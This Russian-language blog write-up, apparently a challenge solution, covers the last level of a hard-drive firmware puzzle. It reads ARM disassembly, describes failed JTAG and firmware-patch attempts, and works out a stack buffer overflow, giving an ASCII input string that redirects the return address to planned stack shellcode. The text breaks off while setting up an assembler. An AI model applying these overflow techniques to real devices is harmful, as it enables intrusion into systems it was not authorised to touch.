ROM:00332E40                 LDRB            R0, [R4,#1]165. ROM:00332E44                 BL              sub_332E98166. ROM:00332E48                 CMN             R0, #1167. ROM:00332E4C                 BEQ             locret_332E6C168. ROM:00332E50169. ROM:00332E50 loc_332E50                              ; CODE XREF: ahex2byte+44j170. ROM:00332E50                 MOV             R5, R5,LSL#4171. ROM:00332E54                 ADD             R0, R5, R0172. ROM:00332E58                 STRB            R0, [R6]173. ROM:00332E5C                 ADD             R4, R4, #2174. ROM:00332E60                 ADD             R6, R6, #1175. ROM:00332E64                 B               loc_332E04176. ROM:00332E68 ; ---------------------------------------------------------------------------177. ROM:00332E68178. ROM:00332E68 loc_332E68                              ; CODE XREF: ahex2byte+14j179. ROM:00332E68                 STRB            R0, [R6]180. ROM:00332E6C181. ROM:00332E6C locret_332E6C                           ; CODE XREF: ahex2byte+30j182. ROM:00332E6C                                         ; ahex2byte+54j183. ROM:00332E6C                 LDMFD           SP!, {R4-R6,PC}184. ROM:00332E6C ; End of function ahex2byte185. ROM:00332E6C186. ROM:00332E70187. ROM:00332E70 ; =============== S U B R O U T I N E =======================================188. ROM:00332E70189. ROM:00332E70190. ROM:00332E70 sub_332E70                              ; CODE XREF: ahex2byte+18p191. ROM:00332E70                                         ; ahex2byte+3Cp192. ROM:00332E70                 CMP             R0, #0xD193. ROM:00332E74                 BEQ             loc_332E90194. ROM:00332E78                 CMP             R0, #0x30195. ROM:00332E7C                 BLT             loc_332E90196. ROM:00332E80                 CMP             R0, #0x39197. ROM:00332E84                 BGT             loc_332E90198. ROM:00332E88                 SUB             R0, R0, #0x30199. ROM:00332E8C                 B               locret_332E94200. ROM:00332E90 ; ---------------------------------------------------------------------------201. ROM:00332E90202. ROM:00332E90 loc_332E90                              ; CODE XREF: sub_332E70+4j203. ROM:00332E90                                         ; sub_332E70+Cj ...204. ROM:00332E90                 MVN             R0, #0205. ROM:00332E94206. ROM:00332E94 locret_332E94                           ; CODE XREF: sub_332E70+1Cj207. ROM:00332E94                 BX              LR208. ROM:00332E94 ; End of function sub_332E70209. ROM:00332E94210. ROM:00332E98211. ROM:00332E98 ; =============== S U B R O U T I N E =======================================212. ROM:00332E98213. ROM:00332E98214. ROM:00332E98 sub_332E98                              ; CODE XREF: ahex2byte+28p215. ROM:00332E98                                         ; ahex2byte+4Cp216. ROM:00332E98                 CMP             R0, #0x41217. ROM:00332E9C                 BLT             loc_332EB4218. ROM:00332EA0                 CMP             R0, #0x46219. ROM:00332EA4                 BGT             loc_332EB4220. ROM:00332EA8                 SUB             R0, R0, #0x41221. ROM:00332EAC                 ADD             R0, R0, #0xA222. ROM:00332EB0                 B               locret_332EB8223. ROM:00332EB4 ; ---------------------------------------------------------------------------224. ROM:00332EB4225. ROM:00332EB4 loc_332EB4                              ; CODE XREF: sub_332E98+4j226. ROM:00332EB4                                         ; sub_332E98+Cj227. ROM:00332EB4                 MVN             R0, #0228. ROM:00332EB8229. ROM:00332EB8 locret_332EB8                           ; CODE XREF: sub_332E98+18j230. ROM:00332EB8                 BX              LR231. ROM:00332EB8 ; End of function sub_332E98

Строка

Подробнее..

Ломаем зашифрованный диск для собеседования от RedBalloonSecurity. Part 0x02

04.05.2021 12:13:46 | Автор: admin

По мотивам
Часть 0x00
Часть 0x01
Часть 0x02

Сложность

Ребятушки, наконец! После довольно длительного перерыва ко мне, в конце концов, пришло вдохновение написать последнюю, финальную и завершающую часть этого чертовски долгого цикла о взломе диска от RedBalloonSecurity. В этой части вас ждет самое сложное из имеющихся заданий. То, с чем я боролся несколько месяцев, но за что был очень щедро вознагражден. Путь к решению был тернист, и я хочу вас в него посвятить.

Сразу хочется сказать, что прочтение моей предыдущей статьи обязательно! Она расписана до мелочей. Текущая публикация пишется с учетом того, что вы прочли и поняли предыдущую.

LEVEL3

По традиции, я начну с короткого содержания раздела диска:

user@ubuntu:/media/user/LEVEL3$ file *level_3.html:                  HTML document, ASCII text, with very long lineslevel3_instructions.txt:       ASCII textfinal_level.lod.7z.encrypted:  7-zip archive data, version 0.3

Все по классике:

  1. level_3.html - файл с дампом памяти функции, которая генерирует ключ

  2. level3_instructions.txt - инструкции что и как делать

  3. final_level.lod.7z.encrypted - запароленный архив с последним файлом прошивки. Решение текущего уровня должно нас привести к паролю к этому архиву

Те, кто следит за этим циклом публикаций уже должны почуять схожесть этого уровня с предыдущим. Так оно и есть. Мы имеем дело с очень похожей задачей. Но, не все так просто :)

Наша подсказка выглядит вот так:

user@ubuntu:/media/user/LEVEL3$ cat level3_instructions.txtYou made it! I guess I wasn't the best intern...Maybe this one is better?1. Invoke the function with command R<User_Input>2. Find the key you must!!!!!level3.html provides disassembly of a memory snapshot of the key generator function.Read this. http://phrack.org/issues/66/12.html

Ха-ха. Кто-то не был лучшим интерном. В конце подсказки лежит ссылка, которая ведет на сайт phrack.org. Этот сайт заблокирован во многих организациях. Он попадает под категорию malware/viruses, но там нету ни единого плохого бинарника. Это очень старый онлайн журнал, где умельцы пишут статьи о том как что-то взломать. Наша ссылка ведет на статью о написании ASCII шеллкода для ARM процессоров.

ASCII шеллкод

Ответить на вопрос о том, что же такое шеллкод в полном обьеме, я, наверное не смогу. Но, в моей голове ответ выглядит так:

Это набор бинарных данных, который обычно используется в эксплоитах в качестве исполняемого кода. Если мы говорим об эксплоитах - их код можно логически разбить на две части:

  • Первая часть отвечает за абьюз уязвимости. То есть, это код, который использует специальные механики, такие как buffer overflow, race condition, use-after-free и тд. для того, чтоб заставить систему исполнить вторую часть эксплоита.

  • А вторая часть - это уже то, что должен исполнить процессор после того, как эксплоит получил контроль над уязвимой системой. Это и есть наш шеллкод. Он может быть очень разным. Это зависит от того, что мы хотим получить от взломанной системы. Мы можем использовать в качестве шеллкода код для скрытого майнинга крипты, запустить процесс bash и присоединить его дескрипторы через сокет к удаленному ПК (и таким образом получить шелл на взломанный комп). По сути, шеллкод это то, чем мы нагружаем процессор после взлома системы.

Стоит сказать, что такой код может быть только машинным. Потому что подсовывать высокоуровневый код, компилировать его на взломанном ПК, а потом исполнять - будет ну прям совсем изобретенным велосипедом. В процессе написания шеллкода нужно так же учитывать то, что он должен быть незаметным и маленьким по размеру. Размер имеет чуть ли не самое важное значение. Чем меньше размер - тем больше "фильтров" может пройти наш шеллкод. Об этом расскажу немного позже в процессе этой публикации.

Самая значимая часть статьи на phrack.org это ASCII. Дело в том, что очень много систем принимают в качестве пользовательского ввода как-раз таки данные в ASCII формате (наш диск не исключение - кроме текста, символов и цифр писать в консольник ничего нельзя). В статье описано несколько механик о том, как писать шеллкод, используя только числа в диапазоне от 0x20 до 0x7E. И, мало того, каждый код операции процессора разбивается на биты, и рассказывается почему одна операция проходит ASCII "фильтр", а другая нет. Статью писал истинный гений!

В этот раз, я покажу файл level_3.html целиком. Ведь он гораздо меньше, чем на предыдущем уровне.

level_3.html
001. ROM:00332D30002. ROM:00332D30 ; Segment type: Pure code003. ROM:00332D30                 AREA ROM, CODE, READWRITE, ALIGN=0004. ROM:00332D30                 ; ORG 0x332D30005. ROM:00332D30                 CODE16006. ROM:00332D30007. ROM:00332D30 ; =============== S U B R O U T I N E =======================================008. ROM:00332D30009. ROM:00332D30 ; prototype: generate_key(key_part_num, integrity_validate_table, key_table)010. ROM:00332D30 ; Function called when serial console input is 'R'. Generates key parts in R0-R3.011. ROM:00332D30 ; The next level to reach, the key parts to print you must!012. ROM:00332D30013. ROM:00332D30 generate_key014. ROM:00332D30015. ROM:00332D30 var_A8          = -0xA8016. ROM:00332D30017. ROM:00332D30                 PUSH            {R4-R7,LR}018. ROM:00332D32                 SUB             SP, SP, #0x90019. ROM:00332D34                 MOVS            R7, R1020. ROM:00332D36                 MOVS            R4, R2021. ROM:00332D38                 MOVS            R5, R0022. ROM:00332D3A                 MOV             R1, SP023. ROM:00332D3C                 LDR             R0, =0x35A05C ; "SP: %x"024. ROM:00332D3E                 LDR             R3, =0x68B08D025. ROM:00332D40                 NOP026. ROM:00332D42                 LDR             R1, =0x6213600 ; "R"...027. ROM:00332D44                 MOV             R2, SP028. ROM:00332D46029. ROM:00332D46 loc_332D46                              ; CODE XREF: generate_key+22j030. ROM:00332D46                 LDRB            R6, [R1]031. ROM:00332D48                 ADDS            R1, R1, #1032. ROM:00332D4A                 CMP             R6, #0xD033. ROM:00332D4C                 BEQ             loc_332D54034. ROM:00332D4E                 STRB            R6, [R2]035. ROM:00332D50                 ADDS            R2, R2, #1036. ROM:00332D52                 B               loc_332D46037. ROM:00332D54 ; ---------------------------------------------------------------------------038. ROM:00332D54039. ROM:00332D54 loc_332D54                              ; CODE XREF: generate_key+1Cj040. ROM:00332D54                 SUBS            R6, #0xD041. ROM:00332D56                 STRB            R6, [R2]042. ROM:00332D58                 SUBS            R5, #0x49 ; 'I'043. ROM:00332D5A                 CMP             R5, #9044. ROM:00332D5C                 BGT             loc_332E14045. ROM:00332D5E                 LSLS            R5, R5, #1046. ROM:00332D60                 ADDS            R5, R5, #6047. ROM:00332D62                 MOV             R0, PC048. ROM:00332D64                 ADDS            R5, R0, R5049. ROM:00332D66                 LDRH            R0, [R5]050. ROM:00332D68                 ADDS            R0, R0, R5051. ROM:00332D6A                 BX              R0052. ROM:00332D6A ; ---------------------------------------------------------------------------053. ROM:00332D6C                 DCW 0x15054. ROM:00332D6E                 DCW 0xA6055. ROM:00332D70                 DCW 0xA4056. ROM:00332D72                 DCW 0xA2057. ROM:00332D74                 DCW 0xA0058. ROM:00332D76                 DCW 0x9E059. ROM:00332D78                 DCW 0x30060. ROM:00332D7A                 DCW 0x52061. ROM:00332D7C                 DCW 0x98062. ROM:00332D7E                 DCW 0xE063. ROM:00332D80 ; ---------------------------------------------------------------------------064. ROM:00332D80065. ROM:00332D80 key_part1066. ROM:00332D80                 LDR             R0, [R4]067. ROM:00332D82                 MOVS            R6, #1068. ROM:00332D84                 STR             R6, [R7]069. ROM:00332D86                 BLX             loc_332E28070. ROM:00332D86 ; ---------------------------------------------------------------------------071. ROM:00332D8A                 CODE32072. ROM:00332D8A                 DCB    0073. ROM:00332D8B                 DCB    0074. ROM:00332D8C ; ---------------------------------------------------------------------------075. ROM:00332D8C076. ROM:00332D8C key_part2077. ROM:00332D8C                 LDR             R6, [R7]078. ROM:00332D90                 CMP             R6, #1079. ROM:00332D94                 LDREQ           R1, [R4,#4]080. ROM:00332D98                 EOREQ           R1, R1, R0081. ROM:00332D9C                 MOVEQ           R6, #1082. ROM:00332DA0                 STREQ           R6, [R7,#4]083. ROM:00332DA4                 B               loc_332E28084. ROM:00332DA8 ; ---------------------------------------------------------------------------085. ROM:00332DA8086. ROM:00332DA8 key_part3087. ROM:00332DA8                 LDR             R6, [R7]088. ROM:00332DAC                 CMP             R6, #1089. ROM:00332DB0                 LDREQ           R6, [R7,#4]090. ROM:00332DB4                 CMPEQ           R6, #1091. ROM:00332DB8                 LDREQ           R2, [R4,#8]092. ROM:00332DBC                 EOREQ           R2, R2, R1093. ROM:00332DC0                 MOVEQ           R6, #1094. ROM:00332DC4                 STREQ           R6, [R7,#8]095. ROM:00332DC8                 B               loc_332E28096. ROM:00332DCC ; ---------------------------------------------------------------------------097. ROM:00332DCC098. ROM:00332DCC key_part4099. ROM:00332DCC                 LDR             R6, [R7]100. ROM:00332DD0                 CMP             R6, #1101. ROM:00332DD4                 LDREQ           R6, [R7,#4]102. ROM:00332DD8                 CMPEQ           R6, #1103. ROM:00332DDC                 LDREQ           R6, [R7,#8]104. ROM:00332DE0                 CMPEQ           R6, #1105. ROM:00332DE4                 LDREQ           R3, [R4,#0xC]106. ROM:00332DE8                 EOREQ           R3, R3, R2107. ROM:00332DEC                 MOVEQ           R6, #1108. ROM:00332DF0                 STREQ           R6, [R7,#8]109. ROM:00332DF4                 LDR             R4, =0x35A036 ; "Key Generated: %s%s%s%s"110. ROM:00332DF8                 SUB             SP, SP, #4111. ROM:00332DFC                 STR             R0, [SP,#0xA8+var_A8]112. ROM:00332E00                 MOVS            R0, R4113. ROM:00332E04                 LDR             R4, dword_332E40+4114. ROM:00332E08                 BLX             R4115. ROM:00332E0C                 ADD             SP, SP, #4116. ROM:00332E10117. ROM:00332E10 loc_332E10                              ; CODE XREF: generate_key:loc_332E10j118. ROM:00332E10                 B               loc_332E10119. ROM:00332E14 ; ---------------------------------------------------------------------------120. ROM:00332E14                 CODE16121. ROM:00332E14122. ROM:00332E14 loc_332E14                              ; CODE XREF: generate_key+2Cj123. ROM:00332E14                 LDR             R4, =0x35A020 ; "key not generated"124. ROM:00332E16                 SUB             SP, SP, #4125. ROM:00332E18                 STR             R0, [SP,#0xA8+var_A8]126. ROM:00332E1A                 MOVS            R0, R4127. ROM:00332E1C                 LDR             R4, =0x68B08D128. ROM:00332E1E                 BLX             R4129. ROM:00332E20                 ADD             SP, SP, #4130. ROM:00332E22                 BLX             loc_332E28131. ROM:00332E26                 MOVS            R0, R0132. ROM:00332E26 ; End of function generate_key133. ROM:00332E26134. ROM:00332E28                 CODE32135. ROM:00332E28136. ROM:00332E28 loc_332E28                              ; CODE XREF: generate_key+56p137. ROM:00332E28                                         ; generate_key+74j ...138. ROM:00332E28                 ADD             SP, SP, #0xA0139. ROM:00332E2C                 LDR             LR, [SP],#4140. ROM:00332E30                 BX              LR141. ROM:00332E30 ; ---------------------------------------------------------------------------142. ROM:00332E34 dword_332E34    DCD 0x35A05C            ; DATA XREF: generate_key+Cr143. ROM:00332E38 dword_332E38    DCD 0x68B08D            ; DATA XREF: generate_key+Er144. ROM:00332E3C dword_332E3C    DCD 0x6213600           ; DATA XREF: generate_key+12r145. ROM:00332E40 dword_332E40    DCD 0x35A036, 0x68B08D  ; DATA XREF: generate_key+C4r146. ROM:00332E40                                         ; generate_key+D4r147. ROM:00332E48 dword_332E48    DCD 0x35A020            ; DATA XREF: generate_key:loc_332E14r148. ROM:00332E4C off_332E4C      DCD 0x68B08D            ; DATA XREF: generate_key+ECr149. ROM:00332E50                 DCD 0150. ROM:00332E50 ; ROM           ends151. ROM:00332E50152. ROM:00332E50                 END

Отличия

Огооо! Первый блин комом. Здесь нету функции ahex2byte. Без конвертации вводимых символов в бинарные, мы уж точно не сможем прыгнуть по адресам каждого из ключа. То есть, у нас не получится взломать этот уровень так же, как и предыдущий. Оно и не дурно - задачка то новая!

Первое, что мне сразу бросилось в глаза - строка 18. Как мы помним из предыдущей статьи, это часть Function Prologue. Но, количество памяти, которое мы выделяем для стека огромное - аж целых 0х90 байт. Если бы эта функция имела много аргументов и дохрена переменных внутри, это бы хоть как-то оправдало на столько огромную цифру. Это, друзья, наш "первый звоночек".

На строках 138-140 мы видим то же самое уменьшение стека, и прыжок на адрес, который был залинкован перед входом в функцию generate_key. Количество байт, на которое мы уменьшаем стек - 0xA0. Это на 16 байт больше того количества, на которое мы увеличивали стек сразу после входа в функцию. На предыдущем уровне, мы имели ровно такую же разницу. В общем, этот кусок говорит нам о том, что здесь мы эксплуатируем ровно такую-же уязвимость, как и на предыдущем уровне - buffer overflow. Но, заставить программу отдать ключи нам прийдется другим, более изощренным способом.

На строке 24 мы видим, что адрес нашей функции printf грузится в регистр R3. Пока что не понятно, для каких целей мы это делаем, но это, уж поверьте, стоит держать в голове :)

Строки 30-36. Здесь у нас нету отличий от предыдущего уровня - все, что мы здесь делаем это копируем наши вводимые данные на стек, и продолжаем исполнение программы когда столкнемся с символом новой строки.

Строки 40-41. Опа! А здесь мы видим две замечательные инструкции. На строке 40 мы отнимаем 0x0D от последнего вводимого символа - новой строки (тот же 0x0D). Получаем ноль. И, на строке 41, мы сохраняем этот ноль на стек в качестве последнего символа нашего ввода. Это наталкивает нас на мысль, что, если мы правильно все рассчитаем, один из байтов адреса на который вернется программа вполне себе может быть 0х00. Опять же, держим в голове. Однажды это нас спасет :)

Ну, вот и все. В остальном, программа почти идентична той, что мы имели на LEVEL2. Конечно, есть парочка непохожих вещей, но они выходят за рамки процесса взлома этого уровня.

Жалкие попытки

Как я и говорил в начале этой публикации, у меня ушло невероятно много времени, чтоб понять как взломать эту ерунду. Друзья, провальные попытки - тоже попытки. Поэтому, пройдемся по тем безуспешным шагам, которые я попробовал, но которые не увенчались успехом.

Меняем прошивку

Первая мысль была загрузить файл level_3.lod в дизассемблер, найти место, которое будет похожим на то, что я вижу в level_3.html, отредактировать пару значений, и залить прошивку обратно на диск. Я воспользовался Hopper Disassembler, и все таки нашел это место! Очень странно то, что каждая вторая строка кода была совсем не похожа на то, что я вижу в level_3.html. Возможно, это была какая-то контрольная сумма, или же логика прошивальщика seaflashlin_rbs работает специфичным образом. Так или иначе, чисто для тестов, я изменил парочку значений.

Но, когда я попытался прошить диск, утилита seaflashlin_rbs завершалась с ошибкой. И, после прошивки, мои изменения не применились.

root@ubuntu:/home/user/Desktop# ./seaflashlin_rbs -f level_3_patch.lod -d /dev/sg1 ================================================================================ Seagate Firmware Download Utility v0.4.6 Build Date: Oct 26 2015 Copyright (c) 2014 Seagate Technology LLC, All Rights Reserved Tue Mar 23 19:25:42 2021================================================================================Flashing microcode file level_3_patch.lod to /dev/sg1 .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  :  !Microcode Download to /dev/sg1 FAILURE!!!

Здесь я вообще не понял что именно стало причиной. Либо сама утилита, либо несоответствие данных в файле прошивки. В общем, решил не копать глубоко. Кое-где в голове было понимание, что этот уровень решается не так просто. Я тут же отбросил этот вариант.

Может потыкать железяку?

Немного погуглив, я понял что каждый чип (IC) имеет такую штуку как JTAG. Это своеобразный интерфейс для тестирования чипа. Через него можно отдать команду процессору остановить исполнение кода, и переключится в debug-режим. С помощью openocd можно "транслировать" debug-режимы различных чипов, и вывести порт для gdb. А уже с gdb можно попросить процессор показать определенные участки памяти, да и вообще слить всю память, которая находится в рабочем пространстве процессора. Если мы совершим подобное, мы отыщем функцию generate_key в огромном дампе памяти, и по референсам сможем найти все ключи!

Для подобной манипуляции есть парочка нюансов:

  • Нужно знать какие ножки процессора отвечают за JTAG

  • Нужно понять каким образом настроить openocd

JTAG это довольно хитрая вещь. На разных микропроцессорах он располагается на разных ножках, и сразу понять что куда подключать - практически не возможно. Это на столько не возможно, что существует такая вещь как jtagulator. Цена железяки говорит сама за себя. https://www.parallax.com/product/jtagulator/

На тыльной стороне платы был 38-пиновый разьем. Я так понял, что этот разьем используется для тестирования платы в процессе производства. На нем и должен быть наш JTAG

Спасибо форуму hddguru.com и сайту spritesmods.com - там были все необходимые распиновки и небольшие гайды о том, как подключится к JTAG на похожих дисках. Для openocd я использовал стандартный шаблон под raspberry pi, добавив лишь опцию открытия порта для gdb, и немножко описав IC (может даже криво). Контакты на разьеме были совсем маленькие, и припаиваться к ним было ужасно не удобно. Понимать где какая ножка было тяжело для зрения. Поэтому, я сделал фотки, и все разукрасил с обеих сторон.

Разукрашенная плата

В результате, картина моего подключения выглядела ужасно. Кое что было криво припаяно, кое что просто контактировало с платой без какой-либо пайки. Куча female-male-female... Но, блин, оно работало. Когда я запустил openocd, у меня получилось опознать чип!

К сожалению, конфигурация openocd была безвозвратно утеряна, но скриншот подключения остался.

Я увидел 3 ядра процессора (JTAG tap). По partnumber я даже нашел изображения этого чипа, и они выглядели похожими на тот, что мы имеем на плате. Оказалось, что это STMicroelectronics STR912.

Но, как видите - в конце лога от openocd я увидел ошибки. Они указывали на то, что процессор не ответил на команду halt. Как я это понял, он проигнорировал просьбу включить debug-режим. Без debug-режима, мы никак не сможем запросить у процессора содержимое памяти... и не сможем решить этот уровень. Очередная неудача - JTAG был закрыт.

Может, толковые ребята в комментариях подскажут, шел ли я по правильному пути, тот ли это чип вообще, и правильно ли я понял происходящее.

Решаем по правильному

В конце концов я сдался, и понял, что этот уровень нужно решать как есть, без попыток обойти систему. Уж слишком много было подсказок насчет шеллкода, патч от keystone с предыдущего уровня никак не шел из головы, и этот комментарий на строке 23 "SP: %x" все не давал мне покоя. К тому же, этот комментарий есть в задаче от предыдущего уровня.

У меня оставалась еще одна мысль - поскольку мы копируем все вводимые символы на стек, можно попытаться самому написать ASCII шеллкод и заабьюзить адрес возврата так, чтоб он указывал на стек. Тем самым, мы заставим процессор исполнить то, что напишем. В нашем случае, шеллкод должен выставить адреса ключей в регистр R0, и триггернуть printf. Но, для этого нужно знать адрес SP, в момент копирования нашего ввода на стек. Я сделал одно допущение - поскольку мы имеем дело с embedded устройством, у нас нету ядра, нету виртуализации - все адреса никак не транслируются. Получается, адрес SP в момент триггера функции generate_key через "R..." должен быть одинаковым на LEVEL2 и на LEVEL3.

Если глянете на level_2.html из предыдущей статьи, вы увидите, что 0x00332DCC - это адрес, где мы сохраняем содержимое SP в R1, расставляем аргументы для printf по местам, и триггерим printf - то есть, печатаем адрес SP. Я перепрошил диск на предыдущий уровень LEVEL2 и сделал вот такой ввод в консоль:

R1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACC2D3300

На что получил вот такой ответ:

SP:2c7bcc.

Хм, 0x002C7BCC... первый 0x00 байт мы сможем получить после того, как отнимем 0xD от символа новой строки (строки 40-41), 0x2C и 0x7B это символы в ASCII диапазоне - "," и "{". Здесь все хорошо. А вот последний байт 0xCC выходит за пределы ASCII. Но, как мы помним, в Function Prologue (строка 18), мы увеличивали стек (уменьшали адрес) аж на 0x90 байт. То есть, наш шеллкод может располагаться в довольно широком диапазоне адресов. Последний байт можно запросто подстроить так, чтоб он был в ASCII.

То есть, как видите, затея с прыжком исполнения на стек вполне реальна!

Но, есть одна проблемка - мы печатаем адрес SP внутри функции. А нам нужен адрес SP на тот момент, когда мы копируем первый вводимый символ на стек. Это и будет наш адрес, куда мы переведем исполнение программы. А содержимое стека и будет нашим шеллкодом.

Берем во внимание все манипуляции с SP в процессе generate_key. Что написано пером... ну вы поняли. Я распечатал LEVEL2 & LEVEL3 и вручную все расписал. К сожалению, фоток от LEVEL2 не осталось, поэтому будет кусок кода из level_2.html:

013. ROM:00332D00 generate_key014. ROM:00332D00015. ROM:00332D00 var_28          = -0x28016. ROM:00332D00017. ROM:00332D00                 PUSH            {R4-R7,LR}018. ROM:00332D02                 SUB             SP, SP, #0x10019. ROM:00332D04                 MOVS            R7, R1020. ROM:00332D06                 MOVS            R4, R2...108. ROM:00332DCC                 MOV             R1, SP109. ROM:00332DD0                 LDR             R4, =0x35A05C ; "SP: %x"110. ROM:00332DD4                 BLX             loc_332DDC111. ROM:00332DD8                 CODE16112. ROM:00332DD8113. ROM:00332DD8 loc_332DD8                              ; CODE XREF: generate_key+2Ej114. ROM:00332DD8                 LDR             R4, =0x35A020 ; "key not generated"115. ROM:00332DDA                 NOP116. ROM:00332DDC117. ROM:00332DDC loc_332DDC                              ; CODE XREF: generate_key+C8p118. ROM:00332DDC                                         ; generate_key+D4p119. ROM:00332DDC                 SUB             SP, SP, #4120. ROM:00332DDE                 STR             R0, [SP,#0x28+var_28]121. ROM:00332DE0                 MOVS            R0, R4123. ROM:00332DE2                 LDR             R4, =0x68B08D124. ROM:00332DE4                 BLX             R4125. ROM:00332DE6                 ADD             SP, SP, #4126. ROM:00332DE8                 BLX             loc_332DEC127. ROM:00332DE8 ; End of function generate_key128. ROM:00332DE8129. ROM:00332DEC                 CODE32130. ROM:00332DEC131. ROM:00332DEC loc_332DEC                              ; CODE XREF: generate_key+58p132. ROM:00332DEC                                         ; generate_key+74j ...133. ROM:00332DEC                 ADD             SP, SP, #0x20134. ROM:00332DF0                 LDR             LR, [SP],#4135. ROM:00332DF4                 BX              LR136. ROM:00332DF8137. ROM:00332DF8 ; =============== S U B R O U T I N E =======================================
level_3.htmllevel_3.html

На LEVEL2 (level_2.html), в самом начале, на строке 18, мы уменьшаем значение в SP на 0х10 байт. На строке 133 мы завершаем функцию, при этом прибавляя 0х20 байт. Инструкция на строке 134

LDR LR, [SP],#4

забавная. В ней мы уменьшаем стек на 4 байта, лезем по этому адресу в память, и сохраняем содержимое в LR. Что происходит с LR - не важно. Важно лишь то, что значение в SP увеличилось на 4 байта.

Делаем вот такую обратную математику:

0x002C7BCC + 0х10 = 0x002C7BDC0x002C7BDC - 0x20 = 0x002C7BBC0x002C7BBC - 0x04 = 0x002C7BB8

0x002C7BB8 и есть значение в SP на момент старта функции generate_key. Теперь делаем расчеты из LEVEL3. Здесь, перед копированием вводимых символов, мы увеличиваем стек (отнимаем адрес) на 0х90 байт. Здесь уже применяем прямую математику:

0x002C7BB8 - 0х90 = 0x002C7B28

Итак, мы получили адрес, куда будет копироваться наш ввод. Ах да, не забываем об еще одной очень важной вещи - наш первый вводимый символ это "R" - он является триггером функции, но не является частью нашего будущего шеллкода. Избавится от него мы не можем, да и нам это не нужно. Просто немножко сдвинуть адрес вперед будет достаточно

  • Сдвиг на 1 байт не сработает поскольку мы имеем дело с little endian архитектурой. Помним, что наши инструкции имеют размер в 2 байта. Делая такой маленький сдвиг, мы рискуем "захватить" предыдущий символ "R" как инструкцию для процессора и наш шеллкод не сработает.

  • Сдвиг на 2 байта тоже не сработает. Причина тому - парность адреса. В предыдущей статье у меня был абзац, где я рассказывал, что семейство Branch (B) инструкций с параметром Exchange (X) совершат смену режима. Если адрес будет парным, мы сменим режим на ARM, где будем иметь 4 байта на инструкцию. Писать шеллкод под ASCII фильтр куда проще имея 2 байта на инструкцию, чем 4 (вероятность напороться на non-ASCII опкод в 2 раза ниже). Поэтому, для простоты, лучше оставаться в Thumb.

  • Сдвиг на 3 байта это именно то, что нам нужно.

0x002C7B28 + 0x03 = 0x002C7B2B

Надо же, в итоге мы получили адрес, который идеально поместится в ASCII диапазон. Последним байтом оказался 0x2B - это ASCII "+".

Что же, нам осталось рассчитать количество вводимых в консоль символов таким образом, чтоб возврат из generate_key направил исполнение кода на адрес 0x002C7B2B. Помним, что на строках 138-140 из level_3.html мы увеличивали адрес стека на 0xA0 (160) байт. И, увеличивали еще на 4 байта когда снимали значение со стека в LR.

Не забываем о новой строке 0x0D - она тоже часть нашего ввода. В процессе исполнения программы, она превратится в 0x00. Итого, количество вводимых символов должно быть 160 + 4 - 1 = 163. Адрес в конце мы должны написать в обратном порядке байт из-за little endian архитектуры. Получится 0x2B 0x7B 0x2C - ASCII ",{+". В итоге, введем что-то похожее на вот это:

RAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+{,

Тестим шеллкод

Чтобы что-то протестировать, нужно это сначала написать. Здесь нам и нужен keystone assembler о котором шла речь на LEVEL2. Это не простой компилятор. Кроме самого компилятора он предоставляет несколько С-шных библиотек. Мы можем написать ассемблерную инструкцию, передать ее как текстовый параметр в keyston-овскую функцию, и получить 2х, или 4х (Thumb или ARM) байтовый код операции (опкод).

Для этого, нужно собрать keystone. Что же, идем в репу https://github.com/keystone-engine/keystone, смотрим инструкцию по сборке и собираем.

user@ubuntu:~/Desktop$ git clone https://github.com/keystone-engine/keystoneCloning into 'keystone'...remote: Enumerating objects: 6806, done.remote: Counting objects: 100% (84/84), done.remote: Compressing objects: 100% (66/66), done.remote: Total 6806 (delta 18), reused 51 (delta 14), pack-reused 6722Receiving objects: 100% (6806/6806), 11.78 MiB | 1.84 MiB/s, done.Resolving deltas: 100% (4617/4617), done.user@ubuntu:~/Desktop$ cd keystone

Не забываем применить патч из LEVEL2.

0001-keystone-armv5.patch
user@ubuntu:/media/user/LEVEL2$ cat 0001-keystone-armv5.patchFrom 5532e7ccbc6c794545530eb725bed548cbc1ac3e Mon Sep 17 00:00:00 2001From: mysteriousmysteries <mysteriousmysteries@redballoonsecurity.com>Date: Wed, 15 Feb 2017 09:23:31 -0800Subject: [PATCH] armv5 support--- llvm/keystone/ks.cpp | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)diff --git a/llvm/keystone/ks.cpp b/llvm/keystone/ks.cppindex d1819f0..8c66f19 100644--- a/llvm/keystone/ks.cpp+++ b/llvm/keystone/ks.cpp@@ -250,7 +250,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)     if (arch < KS_ARCH_MAX) {         ks = new (std::nothrow) ks_struct(arch, mode, KS_ERR_OK, KS_OPT_SYNTAX_INTEL);-+         if (!ks) {             // memory insufficient             return KS_ERR_NOMEM;@@ -294,7 +294,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)                         TripleName = "armv7";                         break;                     case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:-                        TripleName = "thumbv7";+                        TripleName = "armv5te";                         break;                 }@@ -566,7 +566,7 @@ int ks_asm(ks_engine *ks,     Streamer = ks->TheTarget->createMCObjectStreamer(             Triple(ks->TripleName), Ctx, *ks->MAB, OS, CE, *ks->STI, ks->MCOptions.MCRelaxAll,             /*DWARFMustBeAtTheEnd*/ false);-+     if (!Streamer) {         // memory insufficient         delete CE;@@ -594,7 +594,7 @@ int ks_asm(ks_engine *ks,         return KS_ERR_NOMEM;     }     MCTargetAsmParser *TAP = ks->TheTarget->createMCAsmParser(*ks->STI, *Parser, *ks->MCII, ks->MCOptions);-    if (!TAP) {+    if (!TAP) {         // memory insufficient         delete Parser;         delete Streamer;--1.9.1

Патч выглядит большим, но в нем у нас меняется всего навсего одна строка в файле llvm/keystone/ks.cpp. Патч был создан для какой-то старой версии keystone и в нем не совпадают номера строк. Нам прийдется отыскать похожее место в коде, и сделать изменения ручками. На момент написания этой публикации, это строка 305 (функция ks_open, кусок switch/case, условие параметров препроцессора KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB). Меняем с

